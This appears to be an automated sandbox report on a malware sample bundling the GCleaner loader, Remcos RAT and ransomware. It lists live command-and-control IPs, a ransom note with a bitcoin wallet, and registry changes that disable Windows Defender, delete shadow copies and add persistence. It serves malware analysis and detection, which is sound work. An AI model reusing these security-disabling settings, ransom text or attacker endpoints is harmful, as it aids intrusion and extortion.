gcleaner | hxxps://bazaar[.]abuse[.]ch/sample/c4285d31e8669ee5b08aa43ec05210c89ccd947c393dd1ba9cb8a074d8ab3841/

Analysis

max time kernel
1120s
max time network
1133s
platform
windows10-2004_x64
resource
win10v2004-20230220-en
resource tags

arch:x64arch:x86image:win10v2004-20230220-enlocale:en-usos:windows10-2004-x64system
submitted
07-04-2023 09:13

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

https://bazaar.abuse.ch/sample/c4285d31e8669ee5b08aa43ec05210c89ccd947c393dd1ba9cb8a074d8ab3841/

Score

10^/10

gcleaner remcos remotehost bootkit discovery evasion loader persistence ransomware rat spyware stealer trojan upx

Malware Config

Extracted

Family

remcos

Botnet

RemoteHost

127.0.0.1:53399

109.206.243.162:53399

Attributes

audio_folder
MicRecords
audio_record_time
5
connect_delay
0
connect_interval
1
copy_file
remcos.exe
copy_folder
Remcos
delete_file
false
hide_file
false
hide_keylog_file
false
install_flag
false
keylog_crypt
false
keylog_file
logs.dat
keylog_flag
false
keylog_folder
remcos
mouse_option
false
mutex
Rmc-TBK4U0
screenshot_crypt
false
screenshot_flag
false
screenshot_folder
Screenshots
screenshot_path
%AppData%
screenshot_time
10
startup_value
Remcos
take_screenshot_option
false
take_screenshot_time
5

Extracted

Family

gcleaner

45.12.253.56

45.12.253.72

45.12.253.98

45.12.253.75

Extracted

Path

C:\Program Files\7-Zip\Lang\HOW TO DECRYPT FILES.txt

Ransom Note

All your important files were encrypted on this computer. You can verify this by click on see files an try open them. Encrtyption was produced using unique KEY generated for this computer. To decrypted files, you need to otbtain private key. The single copy of the private key, with will allow you to decrypt the files, is locate on a secret server on the internet; The server will destroy the key within 24 hours after encryption completed. Payment have to be made in maxim 24 hours To retrieve the private key, you need to pay 3 BITCOINS Bitcoins have to be sent to this address: 1NJNG57hFPPcmSmFYbxKmL33uc5nLwYLCK After you've sent the payment send us an email to : [email protected] with subject : ERROR-ID-63100778(3BITCOINS) If you are not familiar with bitcoin you can buy it from here : SITE : www.localbitcoin.com After we confirm the payment , we send the private key so you can decrypt your system.

Emails

[email protected]

Wallets

1NJNG57hFPPcmSmFYbxKmL33uc5nLwYLCK

Signatures

GCleaner
GCleaner is a Pay-Per-Install malware loader first discovered in early 2019.
loader gcleaner

Modifies Windows Defender Real-time Protection settings 3 TTPs 28 IoCs

evasion trojan

Modify Registry

T1112

Modify Existing Service

T1031

Disabling Security Tools

T1089

Processes:

PowerRun64.exereg.exeConhost.exeConhost.exePowerRun.exeConhost.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exeConhost.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection	PowerRun64.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableIOAVProtection = "1"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection	Conhost.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScanOnRealtimeEnable = "1"	Conhost.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection	PowerRun.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1"	Conhost.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection	Conhost.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableIOAVProtection = "1"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection = "1"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRoutinelyTakingAction = "1"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScriptScanning = "1"	Conhost.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	PowerRun.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection	Conhost.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection	Conhost.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRoutinelyTakingAction = "1"	Conhost.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScanOnRealtimeEnable = "1"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1"	PowerRun64.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection = "1"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScriptScanning = "1"	reg.exe

Modifies Windows Defender notification settings 3 TTPs 8 IoCs

evasion trojan

Modify Existing Service

T1031

Modify Registry

T1112

Disabling Security Tools

T1089

Processes:

reg.exePowerRun64.exereg.exereg.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender Security Center\Notifications	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender Security Center\Notifications\DisableNotifications = "1"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender Security Center\Notifications	PowerRun64.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender Security Center\Notifications\DisableEnhancedNotifications = "1"	PowerRun64.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender Security Center\Notifications	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender Security Center\Notifications\DisableNotifications = "1"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender Security Center\Notifications	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender Security Center\Notifications\DisableEnhancedNotifications = "1"	reg.exe

Modifies security service 2 TTPs 7 IoCs

evasion

Modify Registry

T1112

Modify Existing Service

T1031

Processes:

jtohhqqziyacze.exereg.exereg.exereg.exeConhost.exereg.exereg.exe

description	ioc	process
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wscsvc\Start = "4"	jtohhqqziyacze.exe
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\WinDefend\Start = "4"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wscsvc\Start = "4"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\WinDefend\Start = "4"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\WinDefend\Start = "4"	Conhost.exe
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wscsvc\Start = "4"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\WinDefend\Start = "4"	reg.exe

Remcos
Remcos is a closed-source remote control and surveillance software.
rat remcos
Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware

File Deletion
T1107

Inhibit System Recovery
T1490
Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 1 IoCs
evasion

Query Registry
T1012

Virtualization/Sandbox Evasion
T1497

Processes:

Setup.exe

description ioc process

Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ Setup.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Setup.exe

Blocklisted process makes network request 49 IoCs

Processes:

MsiExec.exe

flow	pid	process
163	4108	MsiExec.exe
164	4108	MsiExec.exe
166	4108	MsiExec.exe
171	4108	MsiExec.exe
173	4108	MsiExec.exe
175	4108	MsiExec.exe
176	4108	MsiExec.exe
177	4108	MsiExec.exe
181	4108	MsiExec.exe
182	4108	MsiExec.exe
183	4108	MsiExec.exe
184	4108	MsiExec.exe
185	4108	MsiExec.exe
186	4108	MsiExec.exe
187	4108	MsiExec.exe
191	4108	MsiExec.exe
192	4108	MsiExec.exe
193	4108	MsiExec.exe
196	4108	MsiExec.exe
197	4108	MsiExec.exe
198	4108	MsiExec.exe
199	4108	MsiExec.exe
200	4108	MsiExec.exe
204	4108	MsiExec.exe
205	4108	MsiExec.exe
206	4108	MsiExec.exe
207	4108	MsiExec.exe
208	4108	MsiExec.exe
210	4108	MsiExec.exe
211	4108	MsiExec.exe
212	4108	MsiExec.exe
213	4108	MsiExec.exe
214	4108	MsiExec.exe
215	4108	MsiExec.exe
216	4108	MsiExec.exe
217	4108	MsiExec.exe
218	4108	MsiExec.exe
219	4108	MsiExec.exe
220	4108	MsiExec.exe
221	4108	MsiExec.exe
222	4108	MsiExec.exe
223	4108	MsiExec.exe
224	4108	MsiExec.exe
225	4108	MsiExec.exe
226	4108	MsiExec.exe
227	4108	MsiExec.exe
228	4108	MsiExec.exe
229	4108	MsiExec.exe
230	4108	MsiExec.exe

Creates new service(s) 1 TTPs
persistence

New Service
T1050
Downloads MZ/PE file

Drops file in Drivers directory 3 IoCs

Processes:

RunDLL32.Exe

description	ioc	process
File opened for modification	C:\Windows\system32\DRIVERS\SETD6BA.tmp	RunDLL32.Exe
File created	C:\Windows\system32\DRIVERS\SETD6BA.tmp	RunDLL32.Exe
File opened for modification	C:\Windows\system32\DRIVERS\bddci.sys	RunDLL32.Exe

Sets file execution options in registry 2 TTPs 4 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

Processes:

MicrosoftEdgeUpdate.exeMicrosoftEdgeUpdate.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MicrosoftEdgeUpdate.exe	MicrosoftEdgeUpdate.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MicrosoftEdgeUpdate.exe\DisableExceptionChainValidation = "0"	MicrosoftEdgeUpdate.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MicrosoftEdgeUpdate.exe	MicrosoftEdgeUpdate.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MicrosoftEdgeUpdate.exe\DisableExceptionChainValidation = "0"	MicrosoftEdgeUpdate.exe

ACProtect 1.3x - 1.4x DLL software 1 IoCs

Detects file using ACProtect software.

Processes:

resource	yara_rule
C:\Users\Admin\AppData\Local\Temp\nsd1E10.tmp\SelfDel.dll	acprotect

Checks BIOS information in registry 2 TTPs 2 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

Setup.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	Setup.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	Setup.exe

Checks computer location settings 2 TTPs 20 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

Processes:

msedgewebview2.exemsedgewebview2.exesetup_3.exemsedgewebview2.exemsedgewebview2.exemsedgewebview2.exemsedgewebview2.exesetup_0.exeSetup.exemsedgewebview2.exemsedgewebview2.exemsedgewebview2.exeWebCompanionInstaller.exeMicrosoftEdgeUpdate.exemsedgewebview2.exemsedgewebview2.exemsedgewebview2.exemsedgewebview2.exemsedgewebview2.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-1013461898-3711306144-4198452673-1000\Control Panel\International\Geo\Nation	msedgewebview2.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1013461898-3711306144-4198452673-1000\Control Panel\International\Geo\Nation	msedgewebview2.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1013461898-3711306144-4198452673-1000\Control Panel\International\Geo\Nation	setup_3.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1013461898-3711306144-4198452673-1000\Control Panel\International\Geo\Nation	msedgewebview2.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1013461898-3711306144-4198452673-1000\Control Panel\International\Geo\Nation	msedgewebview2.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1013461898-3711306144-4198452673-1000\Control Panel\International\Geo\Nation	msedgewebview2.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1013461898-3711306144-4198452673-1000\Control Panel\International\Geo\Nation	msedgewebview2.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1013461898-3711306144-4198452673-1000\Control Panel\International\Geo\Nation
Key value queried	\REGISTRY\USER\S-1-5-21-1013461898-3711306144-4198452673-1000\Control Panel\International\Geo\Nation	setup_0.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1013461898-3711306144-4198452673-1000\Control Panel\International\Geo\Nation	Setup.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1013461898-3711306144-4198452673-1000\Control Panel\International\Geo\Nation	msedgewebview2.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1013461898-3711306144-4198452673-1000\Control Panel\International\Geo\Nation	msedgewebview2.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1013461898-3711306144-4198452673-1000\Control Panel\International\Geo\Nation	msedgewebview2.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1013461898-3711306144-4198452673-1000\Control Panel\International\Geo\Nation	WebCompanionInstaller.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1013461898-3711306144-4198452673-1000\Control Panel\International\Geo\Nation	MicrosoftEdgeUpdate.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1013461898-3711306144-4198452673-1000\Control Panel\International\Geo\Nation	msedgewebview2.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1013461898-3711306144-4198452673-1000\Control Panel\International\Geo\Nation	msedgewebview2.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1013461898-3711306144-4198452673-1000\Control Panel\International\Geo\Nation	msedgewebview2.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1013461898-3711306144-4198452673-1000\Control Panel\International\Geo\Nation	msedgewebview2.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1013461898-3711306144-4198452673-1000\Control Panel\International\Geo\Nation	msedgewebview2.exe

Drops startup file 6 IoCs

Processes:

Gjefia.exe9107be160f7b639d68fe3670de58ed254d81de6aec9a41ad58d91aa814a247ff.exe

description	ioc	process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\wavey.lnk	Gjefia.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\waveywavey.lnk	Gjefia.exe
File created	C:\users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\RECOVERY_DARKBIT.txt	9107be160f7b639d68fe3670de58ed254d81de6aec9a41ad58d91aa814a247ff.exe
File created	C:\users\Admin\AppData\Roaming\Microsoft\Word\STARTUP\RECOVERY_DARKBIT.txt	9107be160f7b639d68fe3670de58ed254d81de6aec9a41ad58d91aa814a247ff.exe
File opened for modification	C:\users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\q9iUhYpq1680866643.Darkbit	9107be160f7b639d68fe3670de58ed254d81de6aec9a41ad58d91aa814a247ff.exe
File opened for modification	C:\users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\b7mI5iux1680866643.Darkbit	9107be160f7b639d68fe3670de58ed254d81de6aec9a41ad58d91aa814a247ff.exe

Executes dropped EXE 64 IoCs

Processes:

c4285d31e8669ee5b08aa43ec05210c89ccd947c393dd1ba9cb8a074d8ab3841.exexxibt.exexxibt.exeb2aa0482fd791e1a267c2d68662612a211f77a9d1f972f2de80b5da5e5426660.exeb2aa0482fd791e1a267c2d68662612a211f77a9d1f972f2de80b5da5e5426660.tmpsetup_0.exesetup_1.exesetup_2.exeWebCompanionInstaller.exeSetup.exe6c3c9af653a28977257ce971ed701b1b893cdf67d5c57baa44a9d76c28675dc3.exeSetup.exeDCIService.exeSetup.exeSetup.exeSetup.exeSetup.exeSetup.exeSetup.exeSetup.exeSetup.exeSetup.exeWebCompanion.exeWebCompanion.exesetup_3.exereg.exePowerRun.exeSetACL32.exeSetACL32.exeSetACL32.exereg.exereg.exereg.exePowerRun.exePowerRun.exePowerRun.exePowerRun.exereg.exereg.exereg.exePowerRun64.exereg.exePowerRun64.exereg.exePowerRun.exereg.exePowerRun.exeSetACL64.exePowerRun.exePowerRun.exePowerRun64.exereg.exePowerRun64.exePowerRun.exereg.exePowerRun.exePowerRun64.exePowerRun.exePowerRun.exePowerRun.exePowerRun.exePowerRun64.exe

pid	process
4544	c4285d31e8669ee5b08aa43ec05210c89ccd947c393dd1ba9cb8a074d8ab3841.exe
1404	xxibt.exe
1872	xxibt.exe
5952	b2aa0482fd791e1a267c2d68662612a211f77a9d1f972f2de80b5da5e5426660.exe
6008	b2aa0482fd791e1a267c2d68662612a211f77a9d1f972f2de80b5da5e5426660.tmp
4384	setup_0.exe
6080	setup_1.exe
1548	setup_2.exe
5872	WebCompanionInstaller.exe
6108	Setup.exe
6068	6c3c9af653a28977257ce971ed701b1b893cdf67d5c57baa44a9d76c28675dc3.exe
5368	Setup.exe
5656	DCIService.exe
2716	Setup.exe
3984	Setup.exe
5200	Setup.exe
5220	Setup.exe
5672	Setup.exe
2440	Setup.exe
4328	Setup.exe
4396	Setup.exe
6000	Setup.exe
4840	WebCompanion.exe
2508	WebCompanion.exe
1280	setup_3.exe
5836	reg.exe
2716	PowerRun.exe
5564	SetACL32.exe
4876	SetACL32.exe
1864	SetACL32.exe
2456	reg.exe
3208	reg.exe
3012	reg.exe
968	PowerRun.exe
2700	PowerRun.exe
1256	PowerRun.exe
5740	PowerRun.exe
4328	reg.exe
4176	reg.exe
1496	reg.exe
3284	PowerRun64.exe
1272	reg.exe
3548	PowerRun64.exe
1348	reg.exe
4592	PowerRun.exe
5828	reg.exe
1796	PowerRun.exe
5500	SetACL64.exe
5936	PowerRun.exe
5012	PowerRun.exe
5408	PowerRun64.exe
4672	reg.exe
5232	PowerRun64.exe
3348	PowerRun.exe
3820	reg.exe
3984	PowerRun.exe
6024	PowerRun64.exe
2716
3284	PowerRun64.exe
5192	PowerRun.exe
5788	PowerRun.exe
1064	PowerRun.exe
5468	PowerRun.exe
4344	PowerRun64.exe

Loads dropped DLL 64 IoCs

Processes:

b2aa0482fd791e1a267c2d68662612a211f77a9d1f972f2de80b5da5e5426660.tmpsetup_1.exeMsiExec.exeMsiExec.exeMsiExec.exeWebCompanionInstaller.exeDCIService.exeWebCompanion.exe

pid	process
6008	b2aa0482fd791e1a267c2d68662612a211f77a9d1f972f2de80b5da5e5426660.tmp
6080	setup_1.exe
6080	setup_1.exe
6080	setup_1.exe
1904	MsiExec.exe
1904	MsiExec.exe
4108	MsiExec.exe
4108	MsiExec.exe
4108	MsiExec.exe
4108	MsiExec.exe
4108	MsiExec.exe
4108	MsiExec.exe
4108	MsiExec.exe
4108	MsiExec.exe
4108	MsiExec.exe
4108	MsiExec.exe
6080	setup_1.exe
4108	MsiExec.exe
4108	MsiExec.exe
4108	MsiExec.exe
5440	MsiExec.exe
4108	MsiExec.exe
4108	MsiExec.exe
5872	WebCompanionInstaller.exe
5872	WebCompanionInstaller.exe
5872	WebCompanionInstaller.exe
5872	WebCompanionInstaller.exe
5872	WebCompanionInstaller.exe
5872	WebCompanionInstaller.exe
5872	WebCompanionInstaller.exe
5872	WebCompanionInstaller.exe
5656	DCIService.exe
5656	DCIService.exe
5656	DCIService.exe
5656	DCIService.exe
4840	WebCompanion.exe
4840	WebCompanion.exe
4840	WebCompanion.exe
4840	WebCompanion.exe
4840	WebCompanion.exe
4840	WebCompanion.exe
4840	WebCompanion.exe
4840	WebCompanion.exe
4840	WebCompanion.exe
4840	WebCompanion.exe
4840	WebCompanion.exe
4840	WebCompanion.exe
4840	WebCompanion.exe
4840	WebCompanion.exe
4840	WebCompanion.exe
4840	WebCompanion.exe
4840	WebCompanion.exe
4840	WebCompanion.exe
4840	WebCompanion.exe
4840	WebCompanion.exe
4840	WebCompanion.exe
4840	WebCompanion.exe
4840	WebCompanion.exe
4840	WebCompanion.exe
4840	WebCompanion.exe
4840	WebCompanion.exe
4840	WebCompanion.exe
4840	WebCompanion.exe
4840	WebCompanion.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081

Registers COM server for autorun 1 TTPs 64 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Processes:

MicrosoftEdgeUpdateComRegisterShell64.exeMicrosoftEdgeUpdateComRegisterShell64.exeMicrosoftEdgeUpdateComRegisterShell64.exeMicrosoftEdgeUpdateComRegisterShell64.exeMicrosoftEdgeUpdateComRegisterShell64.exeMicrosoftEdgeUpdateComRegisterShell64.exe

description	ioc	process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{8B15189E-5465-4166-933D-1EABAD9648CB}\InProcServer32\ThreadingModel = "Both"	MicrosoftEdgeUpdateComRegisterShell64.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{9E8F1B36-249F-4FC3-9994-974AFAA07B26}\InprocServer32	MicrosoftEdgeUpdateComRegisterShell64.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{9E8F1B36-249F-4FC3-9994-974AFAA07B26}\InprocServer32\ = "C:\\Program Files (x86)\\Microsoft\\EdgeUpdate\\1.3.173.55\\psmachine_64.dll"	MicrosoftEdgeUpdateComRegisterShell64.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{8B15189E-5465-4166-933D-1EABAD9648CB}\InProcServer32\ThreadingModel = "Both"	MicrosoftEdgeUpdateComRegisterShell64.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\CLASSES\CLSID\{A2F5CB38-265F-4A02-9D1E-F25B664968AB}\INPROCSERVER32	MicrosoftEdgeUpdateComRegisterShell64.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{A2F5CB38-265F-4A02-9D1E-F25B664968AB}\InprocServer32\ = "C:\\Program Files (x86)\\Microsoft\\EdgeUpdate\\1.3.173.55\\psmachine_64.dll"	MicrosoftEdgeUpdateComRegisterShell64.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{31D0E08E-1AC8-4B50-B591-25F091984A8C}\InProcServer32\ThreadingModel = "Both"	MicrosoftEdgeUpdateComRegisterShell64.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{31D0E08E-1AC8-4B50-B591-25F091984A8C}\InProcServer32\ = "C:\\Program Files (x86)\\Microsoft\\EdgeUpdate\\1.3.173.55\\psmachine_64.dll"	MicrosoftEdgeUpdateComRegisterShell64.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{9E8F1B36-249F-4FC3-9994-974AFAA07B26}\InprocServer32\ = "C:\\Program Files (x86)\\Microsoft\\EdgeUpdate\\1.3.171.39\\psmachine_64.dll"	MicrosoftEdgeUpdateComRegisterShell64.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{9E8F1B36-249F-4FC3-9994-974AFAA07B26}\InprocServer32	MicrosoftEdgeUpdateComRegisterShell64.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{8B15189E-5465-4166-933D-1EABAD9648CB}\InProcServer32	MicrosoftEdgeUpdateComRegisterShell64.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{A2F5CB38-265F-4A02-9D1E-F25B664968AB}\InprocServer32	MicrosoftEdgeUpdateComRegisterShell64.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{9E8F1B36-249F-4FC3-9994-974AFAA07B26}\InprocServer32	MicrosoftEdgeUpdateComRegisterShell64.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{9E8F1B36-249F-4FC3-9994-974AFAA07B26}\InprocServer32\ = "C:\\Program Files (x86)\\Microsoft\\EdgeUpdate\\1.3.171.39\\psmachine_64.dll"	MicrosoftEdgeUpdateComRegisterShell64.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{A2F5CB38-265F-4A02-9D1E-F25B664968AB}\InprocServer32	MicrosoftEdgeUpdateComRegisterShell64.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{9E8F1B36-249F-4FC3-9994-974AFAA07B26}\InprocServer32	MicrosoftEdgeUpdateComRegisterShell64.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{9E8F1B36-249F-4FC3-9994-974AFAA07B26}\InprocServer32\ThreadingModel = "Both"	MicrosoftEdgeUpdateComRegisterShell64.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{31D0E08E-1AC8-4B50-B591-25F091984A8C}\InProcServer32	MicrosoftEdgeUpdateComRegisterShell64.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{31D0E08E-1AC8-4B50-B591-25F091984A8C}\InProcServer32\ = "C:\\Program Files (x86)\\Microsoft\\EdgeUpdate\\1.3.173.55\\psmachine_64.dll"	MicrosoftEdgeUpdateComRegisterShell64.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{A2F5CB38-265F-4A02-9D1E-F25B664968AB}\InprocServer32\ThreadingModel = "Both"	MicrosoftEdgeUpdateComRegisterShell64.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{A2F5CB38-265F-4A02-9D1E-F25B664968AB}\InprocServer32	MicrosoftEdgeUpdateComRegisterShell64.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{31D0E08E-1AC8-4B50-B591-25F091984A8C}\InProcServer32\ = "C:\\Program Files (x86)\\Microsoft\\EdgeUpdate\\1.3.173.55\\psmachine_64.dll"	MicrosoftEdgeUpdateComRegisterShell64.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{A2F5CB38-265F-4A02-9D1E-F25B664968AB}\InprocServer32	MicrosoftEdgeUpdateComRegisterShell64.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{A2F5CB38-265F-4A02-9D1E-F25B664968AB}\InprocServer32	MicrosoftEdgeUpdateComRegisterShell64.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{A2F5CB38-265F-4A02-9D1E-F25B664968AB}\InprocServer32\ = "C:\\Program Files (x86)\\Microsoft\\EdgeUpdate\\1.3.173.55\\psmachine_64.dll"	MicrosoftEdgeUpdateComRegisterShell64.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{A2F5CB38-265F-4A02-9D1E-F25B664968AB}\InprocServer32\ = "C:\\Program Files (x86)\\Microsoft\\EdgeUpdate\\1.3.171.39\\psmachine_64.dll"	MicrosoftEdgeUpdateComRegisterShell64.exe
